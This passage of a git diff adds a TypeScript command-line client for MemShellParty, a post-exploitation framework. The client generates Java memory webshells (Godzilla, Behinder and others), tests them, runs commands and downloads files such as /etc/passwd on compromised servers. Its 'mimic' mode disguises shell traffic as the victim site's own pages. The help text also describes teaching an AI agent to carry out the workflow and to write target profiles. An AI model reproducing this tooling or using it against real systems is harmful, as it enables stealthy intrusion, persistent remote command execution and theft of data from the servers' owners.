.exitOverride() // throw instead of process.exit — needed by the REPL and the JSON error path + .addHelpText( + "after", + ` +Quick start: + $ memparty gen # interactive memory-shell wizard + $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class + $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value my-secret-token + $ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect + $ memparty download 192.0.2.1/godzilla /etc/passwd -o passwd + $ memparty list # saved targets + $ memparty log # recent operations + +Site-mimicking (mimic) flow: + $ memparty skill install # teach your agent this workflow + $ memparty profile init acme --site http://192.0.2.1:8080 # then write the profile + $ memparty custom build --profile acme --server Tomcat # -> injectable payload + $ memparty demo # local end-to-end walkthrough + +Every subcommand has its own examples: memparty <command> --help +`, + ); + + registerGenCommand(program); + registerProbeCommand(program); + registerConfigCommand(program); + registerConnectCommand(program); + registerExecCommand(program); + registerDownloadCommand(program); + registerUploadCommand(program); + registerTargetCommand(program); + registerLogCommand(program); + registerParseClassNameCommand(program); + registerProfileCommand(program); + registerSkillCommand(program); + registerCustomCommand(program); + registerDemoCommand(program); + registerVersionCommand(program); + registerMcpCommand(program); + + return program; +} + +async function main(): Promise<void> { + // bare `memparty` in a terminal drops into the REPL; piped/CI keeps printing help + if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) { + await startRepl(buildProgram); + return; + } + + const program = buildProgram(); + try { + await program.parseAsync(process.argv); + } catch (err) { + // Set exitCode rather than calling process.exit(): an abrupt exit while + // undici's (global fetch) keep-alive socket is still open trips a libuv + // assertion on Windows. Letting the event loop drain avoids the crash. + if (err instanceof CommanderError) { + // exitOverride: commander already printed help/usage/version; keep its exit code + process.exitCode = err.exitCode; + } else if (err instanceof ApiError) { + reportError(`API error (${err.status || "network"}): ${err.message}`, process.argv); + process.exitCode = 1; + } else if (err instanceof Error) { + // Inquirer throws this when the user aborts with Ctrl-C. + if (err.name === "ExitPromptError") { + process.stderr.write("\nAborted.\n"); + process.exitCode = 130; + } else { + reportError(err.message, process.argv); + process.exitCode = 1; + } + } else { + reportError(String(err), process.argv); + process.exitCode = 1; + } + } +} + +void main(); diff --git a/tools/cli/src/commands/config.ts b/tools/cli/src/commands/config.ts new file mode 100644 index 00000000..f20c9888 --- /dev/null +++ b/tools/cli/src/commands/config.ts @@ -0,0 +1,85 @@ +import { Command } from "commander"; + +import { createClient, type GlobalOptions } from "../cli-context.js"; + +interface ConfigCmdOptions extends GlobalOptions { + json?: boolean; +} + +function printJsonOrLines(data: unknown, json: boolean | undefined, renderLines: () => string[]): void { + if (json) { + process.stdout.write(`${JSON.stringify(data, null, 2)}\n`); + } else { + process.stdout.write(`${renderLines().join("\n")}\n`); + } +} + +export function registerConfigCommand(program: Command): void { + const config = program + .command("config") + .description("Query supported servers, shell tools, shell types, and packers") + .addHelpText( + "after", + ` +Examples: + $ memparty config servers # servers + their shell types (values for gen -s) + $ memparty config tools Tomcat # tools available on one server (values for gen -t) + $ memparty config packers # packer tree (values for gen -p) + $ memparty config command # Command-tool encryptors and impl classes +`, + ); + + config + .command("servers") + .description("List supported servers and their shell types") + .option("--json", "output raw JSON") + .action(async (opts: ConfigCmdOptions, cmd: Command) => { + const client = createClient(cmd.optsWithGlobals()); + const servers = await client.getServers(); + printJsonOrLines(servers, opts.json, () => + Object.entries(servers).map(([name, types]) => `${name}\n ${types.join(", ")}`), + ); + }); + + config + .command("tools") + .description("List shell tools (and their shell types) per server") + .argument("[server]", "filter by a single server name") + .option("--json", "output raw JSON") + .action(async (server: string | undefined, opts: ConfigCmdOptions, cmd: Command) => { + const client = createClient(cmd.optsWithGlobals()); + const config = await client.getConfig(); + const filtered = server ? { [server]: config[server] ?? {} } : config; + printJsonOrLines(filtered, opts.json, () => + Object.entries(filtered).flatMap(([name, tools]) => [ + name, + ...Object.entries(tools).map(([tool, types]) => ` ${tool}: ${types.join(", ")}`), + ]), + ); + }); + + config + .command("packers") + .description("List packers (parent / child tree)") + .option("--json", "output raw JSON") + .action(async (opts: ConfigCmdOptions, cmd: Command) => { + const client = createClient(cmd.optsWithGlobals()); + const tree = await client.getPackerTree(); + printJsonOrLines(tree, opts.json, () => + tree.map((p) => (p.children.length ? `${p.name}\n ${p.children.join(", ")}` : p.name)), + ); + }); + + config + .command("command") + .description("List Command-tool encryptors and implementation classes") + .option("--json", "output raw JSON") + .action(async (opts: ConfigCmdOptions, cmd: Command) => { + const client = createClient(cmd.optsWithGlobals()); + const cc = await client.getCommandConfigs(); + printJsonOrLines(cc, opts.json, () => [ + `encryptors: ${cc.encryptors.join(", ")}`, + `implementationClasses: ${cc.implementationClasses.join(", ")}`, + ]); + }); +} diff --git a/tools/cli/src/commands/connect.ts b/tools/cli/src/commands/connect.ts new file mode 100644 index 00000000..1be481cf --- /dev/null +++ b/tools/cli/src/commands/connect.ts @@ -0,0 +1,166 @@ +import { Command, Option } from "commander"; + +import { logInfo, reportError, type GlobalOptions } from "../cli-context.js"; +import { protocolNames, requireProtocol, type ProtocolOptions } from "../connect/registry.js"; +import type { CommonConnectOptions, ConnectTestResult } from "../connect/types.js"; +import { logOp } from "../core/oplog.js"; +import { autoSaveShell, resolveConnection } from "../core/targets.js"; + +interface ConnectCmdOptions extends GlobalOptions { + url?: string; + tool?: string; + pass?: string; + key?: string; + headerName?: string; + headerValue?: string; + header?: string[]; + suo5Mode?: ProtocolOptions["suo5Mode"]; + profile?: string; + dynamicPath?: boolean; + insecure?: boolean; + json?: boolean; + save?: boolean; +} + +function parseExtraHeaders(lines: string[] | undefined): Record<string, string> { + const headers: Record<string, string> = {}; + for (const line of lines ?? []) { + const idx = line.indexOf(":"); + if (idx <= 0) { + throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`); + } + headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim(); + } + return headers; +} + +export function registerConnectCommand(program: Command): void { + program + .command("connect") + .description( + "Test whether a deployed webshell is alive and the credentials work", + ) + .argument("[name]", "saved target name (see 'memparty list')") + .option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)") + .addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())) + .option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)") + .option("--key <key>", "godzilla/mimic key (default: key)") + .option( + "--header-name <name>", + "gate header name reported by gen (shellToolConfig.headerName)", + ) + .option( + "--header-value <value>", + "gate header value reported by gen (shellToolConfig.headerValue)", + ) + .option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"') + .addOption( + new Option("--suo5-mode <mode>", "suo5 protocol variant") + .choices(["auto", "v2", "v1"]) + .default("auto"), + ) + .option("--profile <name>", "mimic: site profile name (see 'memparty profile')") + .option("--dynamic-path", "mimic: randomize the request path from the site profile") + .option("-k, --insecure", "skip TLS certificate verification") + .option("--json", "output raw JSON") + .option("--no-save", "do not auto-save the target after a successful test") + .addHelpText( + "after", + ` +Examples: + $ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \\ + --header-value my-secret-token + $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\ + --header-value my-secret-token + $ memparty connect -u http://target/suo5.jsp -t suo5 + $ memparty connect -u http://target/ -t mimic --pass pass --key key \\ + --profile target-site --dynamic-path + $ memparty connect web222 # saved target, see 'memparty list' + $ memparty connect -u https://target/shell.jsp -t godzilla -k --json + +Note: shells generated by MemShellParty check a gate header — copy +shellToolConfig.headerName/headerValue from the \`gen --json\` output +(default header name is "User-Agent"), or the shell stays silent. +A successful test auto-saves the profile as <host>/<tool> (skip with +--no-save); afterwards just pass the name. See 'memparty list', +'memparty note' and 'memparty remove' to manage saved targets. +`, + ) + .action(async (name: string | undefined, opts: ConnectCmdOptions, cmd: Command) => { + const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string }; + const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10); + + let conn; + try { + conn = resolveConnection(name, { + url: opts.url, + tool: opts.tool, + pass: opts.pass, + key: opts.key, + headerName: opts.headerName, + headerValue: opts.headerValue, + extraHeaders: parseExtraHeaders(opts.header), + insecure: opts.insecure, + profile: opts.profile, + }); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + + const common: CommonConnectOptions = { + headerName: conn.headerName, + headerValue: conn.headerValue, + extraHeaders: conn.extraHeaders, + timeoutMs, + insecure: conn.insecure, + }; + + let result: ConnectTestResult; + try { + const protocol = requireProtocol(conn.tool); + const options: ProtocolOptions = { + suo5Mode: opts.suo5Mode, + profile: conn.profile, + dynamicPath: opts.dynamicPath, + }; + result = await protocol.test({ conn, common, options }); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + + // a successful handshake proves the credentials — keep them as a named target + let savedAs: string | undefined; + if (result.ok && conn.targetName === undefined && opts.save !== false) { + savedAs = autoSaveShell(conn); + conn.targetName = savedAs; + } + + logOp({ + category: "connect", + action: "connect", + targetName: conn.targetName, + url: conn.url, + tool: conn.tool, + ok: result.ok, + durationMs: result.durationMs, + detail: result.detail, + error: result.error, + }); + + if (opts.json) { + process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}\n`); + } else if (result.ok) { + process.stdout.write(`OK ${result.tool} ${result.url}\n ${result.detail ?? ""}\n`); + if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`); + } else { + process.stderr.write(`FAIL ${result.tool} ${result.url}\n ${result.error ?? ""}\n`); + } + if (!result.ok) { + process.exitCode = 1; + } + }); +} diff --git a/tools/cli/src/commands/custom.ts b/tools/cli/src/commands/custom.ts new file mode 100644 index 00000000..129a30fd --- /dev/null +++ b/tools/cli/src/commands/custom.ts @@ -0,0 +1,145 @@ +import { Command } from "commander"; + +import { createClient, logInfo, reportError, type GlobalOptions } from "../cli-context.js"; +import { randomString } from "../connect/crypto.js"; +import { logOp } from "../core/oplog.js"; +import { loadProfile } from "../core/site-profile.js"; +import { buildCustomMemshell } from "../custom/build.js"; + +interface CustomBuildCmdOptions extends GlobalOptions { + profile?: string; + server?: string; + type?: string; + pass?: string; + key?: string; + urlPattern?: string; + packer?: string; + jdk?: string; + out?: string; + json?: boolean; +} + +/** + * `memparty custom build` — the agent-friendly one-shot: profile in, + * injectable mimic memory shell out. The generated credentials and the + * follow-up connect command are printed (and stored in manifest.json) so an + * agent can chain the steps without re-deriving anything. + */ +export function registerCustomCommand(program: Command): void { + program + .command("custom") + .description("Custom (mimic) memory shells built from a site profile") + .addCommand( + new Command("build") + .description("profile -> filter class -> MemShellParty Custom -> injectable payload") + .requiredOption("--profile <name>", "site profile name (see 'memparty profile list')") + .requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')") + .option("--type <shellType>", "shell type the filter implements", "Filter") + .option("--pass <pass>", "credential baked into the shell (random if omitted)") + .option("--key <key>", "crypto key baked into the shell (random if omitted)") + .option("--url-pattern <pattern>", "injector URL pattern", "/*") + .option("--packer <packer>", "payload packer", "DefaultBase64") + .option("--jdk <version>", "target JDK, e.g. java8", "java8") + .option("--out <dir>", "output directory", undefined) + .option("--json", "output raw JSON") + .addHelpText( + "after", + ` +The full loop (see docs/mimic-memshell-guide.md): + 1. write a site profile memparty profile init acme --site https://acme.cn + 2. build the shell memparty custom build --profile acme --server Tomcat + 3. inject payload-*.txt via your foothold (RCE / existing shell / upload) + 4. connect + exec memparty connect -u <url> -t mimic --profile acme ... + +Delivery is NOT part of this command — it only builds the payload. +Requires a JDK (javac on PATH) and a MemShellParty backend (--api). +`, + ) + .action(async (opts: CustomBuildCmdOptions, cmd: Command) => { + const globals = cmd.optsWithGlobals() as GlobalOptions; + const fail = (message: string): void => { + reportError(message, opts.json ? ["--json"] : []); + process.exitCode = 1; + }; + + let profile; + try { + profile = loadProfile(opts.profile!); + } catch (err) { + fail(err instanceof Error ? err.message : String(err)); + return; + } + + // credentials are generated unless given — they are baked into the class + const pass = opts.pass ?? randomString(10); + const secret = opts.key ?? randomString(16); + const outDir = opts.out ?? `${opts.profile}-build`; + + const client = createClient(globals); + const started = Date.now(); + try { + const result = await buildCustomMemshell( + { + profile, + server: opts.server!, + shellType: opts.type, + pass, + secret, + urlPattern: opts.urlPattern, + packer: opts.packer, + jdk: opts.jdk, + outDir, + }, + client, + ); + + logOp({ + category: "gen", + action: "custom-build", + ok: true, + durationMs: Date.now() - started, + detail: `${result.fullClassName} -> ${result.injectorClassName} (${result.server}/${result.shellType})`, + meta: { + profile: profile.name, + server: result.server, + shellType: result.shellType, + packer: result.packer, + }, + }); + + if (opts.json) { + const { response: _response, ...summary } = result; + process.stdout.write(`${JSON.stringify({ ok: true, ...summary }, null, 2)}\n`); + return; + } + + logInfo(`filter class: ${result.fullClassName}`); + logInfo( + `injector class: ${result.injectorClassName} (server=${result.server}, type=${result.shellType})`, + ); + logInfo(`credentials: --pass ${result.pass} --key ${result.secret}`); + logInfo(`cipher: ${JSON.stringify(result.cipher)}`); + for (const [name, file] of Object.entries(result.files.payloads)) { + logInfo(`payload [${name}]: ${file}`); + } + logInfo(`manifest: ${result.files.manifest}`); + process.stdout.write( + `\nnext steps:\n` + + ` 1. inject the payload via your foothold (RCE defineClass / existing shell / upload)\n` + + ` 2. memparty connect -u <shell-url> -t mimic --profile ${profile.name} --pass ${result.pass} --key ${result.secret}\n` + + ` 3. memparty exec <host>/mimic --cmd "id"\n`, + ); + } catch (err) { + logOp({ + category: "gen", + action: "custom-build", + ok: false, + durationMs: Date.now() - started, + error: err instanceof Error ? err.message : String(err), + meta: { profile: profile.name, server: opts.server }, + }); + fail(err instanceof Error ? err.message : String(err)); + } + }), + ); +} diff --git a/tools/cli/src/commands/demo.ts b/tools/cli/src/commands/demo.ts new file mode 100644 index 00000000..4d332c65 --- /dev/null +++ b/tools/cli/src/commands/demo.ts @@ -0,0 +1,114 @@ +import { Command } from "commander"; + +import { reportError, type GlobalOptions } from "../cli-context.js"; +import { MOCK_HOMEPAGE, startMimicServer } from "../connect/mimic-server.js"; +import { getProtocol } from "../connect/registry.js"; +import { saveProfile, type SiteProfile } from "../core/site-profile.js"; +import type { ResolvedConnection } from "../core/targets.js"; + +interface DemoCmdOptions extends GlobalOptions { + cmd?: string; + json?: boolean; +} + +/** + * The profile for the demo's fake site, written by hand — in a real + * engagement this is the file the operator (or AI agent) authors after + * reading the target's pages. + */ +function demoProfile(site: string): SiteProfile { + return { + name: "demo", + site, + createdAt: new Date().toISOString(), + templates: [ + { + title: "云枢科技 - 企业数字化服务商", + template: MOCK_HOMEPAGE, + contentType: "text/html; charset=utf-8", + }, + ], + paths: ["/products/", "/news/", "/about/"], + }; +} + +/** + * `memparty demo` — run the whole mimic loop locally against a fake + * business site: hand-written profile, handshake, then one command. + * Nothing leaves 127.0.0.1. + */ +export function registerDemoCommand(program: Command): void { + program + .command("demo") + .description( + "Run the mimic protocol end-to-end locally: fake business site + profile " + + "+ connect + one exec (no external traffic)", + ) + .option("--cmd <command>", "command to execute on the fake target", "whoami") + .option("--json", "output raw JSON") + .addHelpText( + "after", + ` +This is the reference walk-through for the mimic plugin: + 1. starts a fake business site on 127.0.0.1 (a mimic shell hides in it) + 2. loads a hand-written site profile (in real engagements the operator + or AI agent writes it — see 'memparty profile init') + 3. 'connect' does a credential round-trip using a dynamic path + 4. 'exec' runs --cmd through the same channel +Watch the printed request URL in step 3/4: it changes every run. +`, + ) + .action(async (opts: DemoCmdOptions, cmd: Command) => { + const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string }; + const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10); + const log = (line: string) => { + if (!opts.json) process.stdout.write(`${line}\n`); + }; + + const server = await startMimicServer(); + try { + log(`[1/4] fake business site up at ${server.url}`); + + const profile = demoProfile(server.url.replace(/\/+$/, "")); + saveProfile(profile); + log( + `[2/4] profile 'demo' loaded: title=${JSON.stringify(profile.templates![0]!.title)}, ` + + `paths=[${profile.paths.join(", ")}], templates=${profile.templates!.length}`, + ); + + const protocol = getProtocol("mimic")!; + const conn: ResolvedConnection = { + url: server.url, + tool: "mimic", + pass: "pass", + key: "key", + extraHeaders: {}, + profile: "demo", + }; + const common = { timeoutMs }; + const options = { profile: "demo", dynamicPath: true }; + + const test = await protocol.test({ conn, common, options }); + if (!test.ok) throw new Error(`connect failed: ${test.error}`); + log(`[3/4] connect ok — ${test.detail}`); + + const result = await protocol.exec!({ conn, common, options }, opts.cmd!); + if (!result.ok) throw new Error(`exec failed: ${result.error}`); + log(`[4/4] exec ok — ${JSON.stringify(opts.cmd)} output:`); + + if (opts.json) { + process.stdout.write( + `${JSON.stringify({ ok: true, profile, test, exec: result }, null, 2)}\n`, + ); + } else { + process.stdout.write(`${result.output ?? ""}`); + if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n"); + } + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + } finally { + await server.close(); + } + }); +} diff --git a/tools/cli/src/commands/exec.ts b/tools/cli/src/commands/exec.ts new file mode 100644 index 00000000..ec1a2d50 --- /dev/null +++ b/tools/cli/src/commands/exec.ts @@ -0,0 +1,179 @@ +import { Command, Option } from "commander"; + +import { logInfo, reportError, type GlobalOptions } from "../cli-context.js"; +import { + protocolNames, + requireProtocol, + unsupportedMessage, + type ProtocolOptions, +} from "../connect/registry.js"; +import type { CommonConnectOptions, ExecResult } from "../connect/types.js"; +import { logOp, truncateOutput } from "../core/oplog.js"; +import { autoSaveShell, resolveConnection } from "../core/targets.js"; + +interface ExecCmdOptions extends GlobalOptions { + url?: string; + tool?: string; + pass?: string; + key?: string; + cmd?: string; + os?: "auto" | "windows" | "linux"; + headerName?: string; + headerValue?: string; + header?: string[]; + profile?: string; + dynamicPath?: boolean; + insecure?: boolean; + json?: boolean; + save?: boolean; +} + +function parseExtraHeaders(lines: string[] | undefined): Record<string, string> { + const headers: Record<string, string> = {}; + for (const line of lines ?? []) { + const idx = line.indexOf(":"); + if (idx <= 0) { + throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`); + } + headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim(); + } + return headers; +} + +export function registerExecCommand(program: Command): void { + program + .command("exec") + .description( + "Execute a command on a deployed webshell and print its output", + ) + .argument("[name]", "saved target name (see 'memparty list')") + .option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)") + .addOption( + new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec")), + ) + .requiredOption("--cmd <command>", "command line to execute on the target") + .option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)") + .option("--key <key>", "godzilla/mimic key (default: key)") + .addOption( + new Option("--os <family>", "godzilla: remote OS for the shell wrapper") + .choices(["auto", "windows", "linux"]) + .default("auto"), + ) + .option( + "--header-name <name>", + "gate header name reported by gen (shellToolConfig.headerName)", + ) + .option( + "--header-value <value>", + "gate header value reported by gen (shellToolConfig.headerValue)", + ) + .option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"') + .option("--profile <name>", "mimic: site profile name (see 'memparty profile')") + .option("--dynamic-path", "mimic: randomize the request path from the site profile") + .option("-k, --insecure", "skip TLS certificate verification") + .option("--json", "output raw JSON") + .option("--no-save", "do not auto-save the target after a successful exec") + .addHelpText( + "after", + ` +Examples: + $ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\ + --header-value my-secret-token --cmd "whoami" + $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\ + --header-value my-secret-token --cmd "cat /etc/passwd" + $ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list' + $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\ + --cmd "ipconfig /all" --json + +Note: godzilla auto-detects the remote OS (one extra request) to pick +cmd.exe vs /bin/sh — pass --os to skip the detection. Behinder detects +the OS inside its payload, so --os does not apply. +`, + ) + .action(async (name: string | undefined, opts: ExecCmdOptions, cmd: Command) => { + const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string }; + const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10); + + let conn; + try { + conn = resolveConnection(name, { + url: opts.url, + tool: opts.tool, + pass: opts.pass, + key: opts.key, + headerName: opts.headerName, + headerValue: opts.headerValue, + extraHeaders: parseExtraHeaders(opts.header), + insecure: opts.insecure, + profile: opts.profile, + }); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + + const common: CommonConnectOptions = { + headerName: conn.headerName, + headerValue: conn.headerValue, + extraHeaders: conn.extraHeaders, + timeoutMs, + insecure: conn.insecure, + }; + + let result: ExecResult; + try { + const protocol = requireProtocol(conn.tool); + if (!protocol.exec) { + reportError(unsupportedMessage(protocol, "exec"), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + const options: ProtocolOptions = { + os: opts.os, + profile: conn.profile, + dynamicPath: opts.dynamicPath, + }; + result = await protocol.exec({ conn, common, options }, opts.cmd!); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + + // a successful exec proves the credentials — keep them as a named target + let savedAs: string | undefined; + if (result.ok && conn.targetName === undefined && opts.save !== false) { + savedAs = autoSaveShell(conn); + conn.targetName = savedAs; + } + + const truncated = result.output !== undefined ? truncateOutput(result.output) : null; + logOp({ + category: "exec", + action: "exec", + targetName: conn.targetName, + url: conn.url, + tool: conn.tool, + ok: result.ok, + durationMs: result.durationMs, + command: opts.cmd, + output: truncated?.output, + outputTruncated: truncated?.truncated || undefined, + error: result.error, + }); + + if (opts.json) { + process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}\n`); + } else if (result.ok) { + process.stdout.write(result.output ?? ""); + if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n"); + if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`); + } else { + process.stderr.write(`FAIL ${result.tool} ${result.url}\n ${result.error ?? ""}\n`); + } + if (!result.ok) { + process.exitCode = 1; + } + }); +} diff --git a/tools/cli/src/commands/gen.ts b/tools/cli/src/commands/gen.ts new file mode 100644 index 00000000..dd090e75 --- /dev/null +++ b/tools/cli/src/commands/gen.ts @@ -0,0 +1,225 @@ +import { readFileSync } from "node:fs"; + +import { Command, Option } from "commander"; + +import { createClient, type GlobalOptions, logInfo } from "../cli-context.js"; +import { logOp } from "../core/oplog.js"; +import { emitPayload } from "../core/output.js"; +import { buildMemShellRequest, type MemShellOptions } from "../core/request-builder.js"; +import { runMemShellWizard } from "../wizard/memshell-wizard.js"; + +interface GenCmdOptions extends GlobalOptions { + server?: string; + serverVersion?: string; + tool?: string; + type?: string; + packer?: string; + jdk?: string; + debug?: boolean; + bypassModule?: boolean; + shrink?: boolean; + lambdaSuffix?: boolean; + probe?: boolean; + shellClassName?: string; + godzillaPass?: string; + godzillaKey?: string; + behinderPass?: string; + antswordPass?: string; + commandParamName?: string; + commandTemplate?: string; + encryptor?: string; + implementationClass?: string; + headerName?: string; + headerValue?: string; + shellClassBase64?: string; + shellClassFile?: string; + urlPattern?: string; + injectorClassName?: string; + staticInitialize?: boolean; + output?: string; + decode?: boolean; + json?: boolean; + interactive?: boolean; +} + +const REQUIRED = ["server", "tool", "type", "packer"] as const; + +function toOptions(o: GenCmdOptions): MemShellOptions { + let shellClassBase64 = o.shellClassBase64; + if (o.shellClassFile) { + shellClassBase64 = readFileSync(o.shellClassFile).toString("base64"); + } + return { + server: o.server!, + serverVersion: o.serverVersion, + shellTool: o.tool!, + shellType: o.type!, + packer: o.packer!, + jdk: o.jdk, + debug: o.debug, + byPassJavaModule: o.bypassModule, + shrink: o.shrink, + lambdaSuffix: o.lambdaSuffix, + probe: o.probe, + shellClassName: o.shellClassName, + godzillaPass: o.godzillaPass, + godzillaKey: o.godzillaKey, + behinderPass: o.behinderPass, + antSwordPass: o.antswordPass, + commandParamName: o.commandParamName, + commandTemplate: o.commandTemplate, + encryptor: o.encryptor, + implementationClass: o.implementationClass, + headerName: o.headerName, + headerValue: o.headerValue, + shellClassBase64, + urlPattern: o.urlPattern, + injectorClassName: o.injectorClassName, + staticInitialize: o.staticInitialize, + }; +} + +export function registerGenCommand(program: Command): void { + program + .command("gen") + .alias("generate") + .description("Generate a memory shell. Runs an interactive wizard when required flags are missing.") + .option("-s, --server <server>", "target server, e.g. Tomcat") + .option("--server-version <v>", "target server version") + .option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command") + .option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet") + .option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP") + .option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version") + .option("--debug", "enable debug output in the payload") + .option("--bypass-module", "bypass Java module restrictions") + .option("--no-shrink", "disable bytecode shrinking (enabled by default)") + .option("--lambda-suffix", "append a lambda class-name suffix") + .option("--probe", "use echo/probe mode") + .option("--shell-class-name <name>", "explicit shell class name (random if omitted)") + .option("--godzilla-pass <pass>", "Godzilla password") + .option("--godzilla-key <key>", "Godzilla key") + .option("--behinder-pass <pass>", "Behinder password") + .option("--antsword-pass <pass>", "AntSword password") + .option("--command-param-name <name>", "Command tool parameter name") + .option("--command-template <tpl>", "Command template ({command} placeholder)") + .option("--encryptor <name>", "Command encryptor") + .option("--implementation-class <name>", "Command implementation class") + .option("--header-name <name>", "auth header name") + .option("--header-value <value>", "auth header value") + .option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool") + .option("--shell-class-file <path>", "custom shell .class file for the Custom tool") + .option("--url-pattern <pattern>", "injector URL pattern") + .option("--injector-class-name <name>", "explicit injector class name") + .option("--no-static-initialize", "disable injector static initialization (enabled by default)") + .option("-o, --output <file>", "write payload to a file instead of stdout") + .addOption(new Option("--decode", "base64-decode the payload before writing")) + .addOption(new Option("--no-decode", "do not base64-decode the payload")) + .option("--json", "print the full JSON response instead of just the payload") + .option("-i, --interactive", "force the interactive wizard") + .option("--no-interactive", "never launch the wizard; error on missing flags") + .addHelpText( + "after", + ` +Examples: + $ memparty gen # interactive wizard + $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\ + --godzilla-pass pass --godzilla-key key --jdk java8 + $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\ + --godzilla-pass pass --godzilla-key key -o shell.class + $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\ + --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec + $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json + +Note: run 'memparty config' to list the available servers, tools, shell +types and packers. Some packers (e.g. Base64) are aggregate packers that +return several variants at once — pick a leaf packer (e.g. DefaultBase64) +for a single payload. The --json output includes the gate header +(shellToolConfig) you need for 'memparty connect' / 'memparty exec'. +`, + ) + .action(async (opts: GenCmdOptions, cmd: Command) => { + const client = createClient(cmd.optsWithGlobals()); + + const missing = REQUIRED.filter((k) => !opts[k]); + const stdinIsTty = Boolean(process.stdin.isTTY); + const wantWizard = + opts.interactive === true || + (opts.interactive !== false && missing.length > 0 && stdinIsTty); + + let memOpts: MemShellOptions; + if (wantWizard) { + memOpts = await runMemShellWizard(client); + } else { + if (missing.length > 0) { + throw new Error( + `Missing required option(s): ${missing.map((m) => `--${m}`).join(", ")}. ` + + `Run in a terminal for the wizard, or pass -i.`, + ); + } + memOpts = toOptions(opts); + } + + const request = buildMemShellRequest(memOpts); + // safe summary for the op log — parameters only, never credentials + const genMeta = { + server: memOpts.server, + serverVersion: memOpts.serverVersion, + shellTool: memOpts.shellTool, + shellType: memOpts.shellType, + packer: memOpts.packer, + jdk: memOpts.jdk, + }; + const started = Date.now(); + let response; + try { + response = await client.generateMemShell(request); + } catch (err) { + logOp({ + category: "gen", + action: "gen", + ok: false, + durationMs: Date.now() - started, + error: err instanceof Error ? err.message : String(err), + meta: genMeta, + }); + throw err; + } + logOp({ + category: "gen", + action: "gen", + ok: true, + durationMs: Date.now() - started, + detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`, + meta: genMeta, + }); + + if (opts.json) { + process.stdout.write(`${JSON.stringify(response, null, 2)}\n`); + return; + } + + const r = response.memShellResult; + logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`); + logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`); + + if (response.allPackResults && Object.keys(response.allPackResults).length > 0) { + for (const [name, value] of Object.entries(response.allPackResults)) { + logInfo(`\n=== ${name} ===`); + process.stdout.write(`${value}\n`); + } + return; + } + + if (response.packResult === undefined) { + throw new Error("Server returned no packResult."); + } + + const result = emitPayload(response.packResult, { + outFile: opts.output, + decode: opts.decode, + }); + if (result.destination !== "stdout") { + logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`); + } + }); +} diff --git a/tools/cli/src/commands/log.ts b/tools/cli/src/commands/log.ts new file mode 100644 index 00000000..0b9828c2 --- /dev/null +++ b/tools/cli/src/commands/log.ts @@ -0,0 +1,65 @@ +import { Command, Option } from "commander"; + +import { formatOp, opLogPath, readOps, type OpCategory } from "../core/oplog.js"; + +interface LogCmdOptions { + category?: OpCategory; + target?: string; + limit?: string; + json?: boolean; +} + +export function registerLogCommand(program: Command): void { + program + .command("log") + .description("Show the global operation log") + .addOption( + new Option("--category <name>", "filter by operation category").choices([ + "gen", + "probe", + "connect", + "exec", + "download", + "upload", + "save", + "note", + "remove", + ]), + ) + .option( + "--target <name>", + "filter by target: project name, project/shell, or a URL substring (e.g. host)", + ) + 